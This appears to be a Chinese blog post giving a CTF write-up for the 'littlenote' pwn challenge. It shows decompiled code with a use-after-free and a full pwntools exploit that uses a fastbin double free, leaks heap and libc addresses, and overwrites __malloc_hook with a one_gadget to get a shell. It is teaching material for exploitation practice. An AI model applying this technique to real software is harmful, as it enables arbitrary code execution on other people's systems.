前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CTF PWN之fastbin实例——littlenote

CTF PWN之fastbin实例——littlenote

作者头像
用户1423082
发布2024-12-31 18:36:41
发布2024-12-31 18:36:41
4600
代码可运行
举报
文章被收录于专栏:giantbranch's blog
运行总次数:0
代码可运行

题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/littlenote

保护方式:保护全开

代码语言:javascript
代码运行次数:0
复制
[*] '/root/ctf201812/littlenote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

漏洞点1:free的时候堆空间没有置0,全局note数组也没有置0

代码语言:javascript
代码运行次数:0
复制
unsigned __int64 freenote()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which note do you want to delete?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      free(note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

上面全局note数组也没有置0,就导致可以free了之后还可以show,也即uaf

代码语言:javascript
代码运行次数:0
复制
unsigned __int64 shownote()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which note do you want to show?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      puts((const char *)note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

还有一个是add的代码,那个N的分支好像没什么用

代码语言:javascript
代码运行次数:0
复制
unsigned __int64 addnote()
{
  __int64 v0; // rbx
  __int64 v1; // rbx
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned __int64)notenum > 0xF )
    puts("FULL");
  v0 = notenum;
  note[v0] = malloc(0x60uLL);
  puts("Enter your note");
  read(0, note[notenum], 0x60uLL);
  puts("Want to keep your note?");
  read(0, &buf, 7uLL);
  if ( buf == 'N' )
  {
    puts("OK,I will leave a backup note for you");
    free(note[notenum]);
    v1 = notenum;
    note[v1] = malloc(0x20uLL);
  }
  ++notenum;
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

要点

1、任意地址写:fastbin 的uaf 2、泄露堆地址:fastbin的free 3、泄露libc地址:非fastbin的free,如smallbin 4、堆溢出:fastbin的uaf可以在当前堆块伪造同样大小的size之后就可以溢出下一个堆块的size了,从而构造smallbin大小, 5、free smallbin大小的注意下一块堆块对应的位置的size大小

exp

代码语言:javascript
代码运行次数:0
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-07 21:54:30
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
# context.log_level = "debug"
p = process("./littlenote")

# local libc
main_arena_offset = 0x39db00
one_gadget_offset = 0x40c3f


def add(note):
	p.recvuntil("Your choice:\n")
	p.sendline("1")
	p.recvuntil("Enter your note\n")
	p.send(note)
	p.recvuntil("Want to keep your note?\n")
	p.sendline("Y")

def show(index):
	p.recvuntil("Your choice:\n")
	p.sendline("2")
	p.recvuntil("Which note do you want to show?\n")
	p.sendline(str(index))

def delete(index):
	p.recvuntil("Your choice:\n")
	p.sendline("3")
	p.recvuntil("Which note do you want to delete?\n")
	p.sendline(str(index))

def getpid():
	print proc.pidof(p)[0]
	pause()

# lead heap
add("A" * 0x10)
add("B" * 0x8 + p64(0x71))
add("C" * 0x10)
add(p64(0) * 3 + p64(0x51))

delete(1)
delete(0)
delete(1)
show(0)
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)

# lead libc
add(p64(heap_addr + 0x10))  # fake fd
add("D" * 8)  # offset 0x00
add(p64(0))  # offset 0x70
add("F" * 0x50 + p64(0) + p64(0x91))   # modify the size
delete(2)   # free the 0x91 heap
show(2)
main_arena_near = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
# print "main_arena_near = " + hex(main_arena_near)
main_arena_addr = main_arena_near - 0x58
print "main_arena_addr = " + hex(main_arena_addr)
libc_addr = main_arena_addr - main_arena_offset
print "libc_addr = " + hex(libc_addr)
one_gadget_addr = libc_addr + one_gadget_offset
print "one_gadget_addr = " + hex(one_gadget_addr)

# write malloc_hook
add("1") # 8
add("2") # 9
add("3") # 10
delete(8)
delete(9)
delete(8)

# x /10gx (long long)(&main_arena) - 51
fake_addr = main_arena_addr - 51
add(p64(fake_addr)) # 11
add("UUUUUUUU") #12
add("OOOOOOOO") #13
add("A" * 0x13 + p64(one_gadget_addr)) #14

# getpid()
# getshell
print "get shell now"
p.recvuntil("Your choice:\n")
p.sendline("1")

# add("G" * 8)
# delete(0)
# getpid()
# p.sendline()
p.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档